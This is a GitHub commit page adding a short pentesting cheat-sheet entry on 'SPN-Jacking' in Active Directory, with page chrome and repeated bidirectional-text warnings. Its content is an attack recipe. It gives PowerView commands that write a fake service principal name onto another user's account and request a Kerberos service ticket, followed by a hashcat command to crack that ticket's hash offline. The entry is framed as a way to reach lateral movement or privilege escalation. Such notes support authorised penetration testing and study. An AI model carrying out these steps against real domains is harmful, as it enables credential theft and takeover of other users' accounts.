-
Notifications
You must be signed in to change notification settings - Fork 135
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
9 changed files
with
158 additions
and
35 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
--- | ||
title: SPN-Jacking | ||
description: If the current user has a right to write the SPN of another user, we can achieve lateral movement or privilege escalation. | ||
tags: | ||
- Active Directory | ||
- Privilege Escalation | ||
- Windows | ||
refs: | ||
- https://www.thehacker.recipes/ad/movement/kerberos/spn-jacking | ||
date: 2024-10-13 | ||
draft: false | ||
--- | ||
|
||
## Exploit | ||
|
||
### 1. Set SPN and Get the Hash of the Service Ticket | ||
|
||
```bash | ||
# 1. Import PowerView module | ||
. .\PowerView.ps1 | ||
|
||
# 2. Set SPN | ||
Set-DomainObject -Identity <OTHER_USER> -SET @{serviceprincipalname='evil/evil'} | ||
|
||
# 3. Request sercice ticket | ||
Get-DomainSPNTicket -SPN evil/evil | ||
``` | ||
|
||
### 2. Crack the Hash | ||
|
||
After that, we retrieve the hash of the ticket, so crack it on your local machine: | ||
|
||
```bash | ||
# -m 13100: Replace it with the appropriate number depending on the algorithm. | ||
hashcat -a 0 -m 13100 hash.txt wordlist.txt | ||
``` |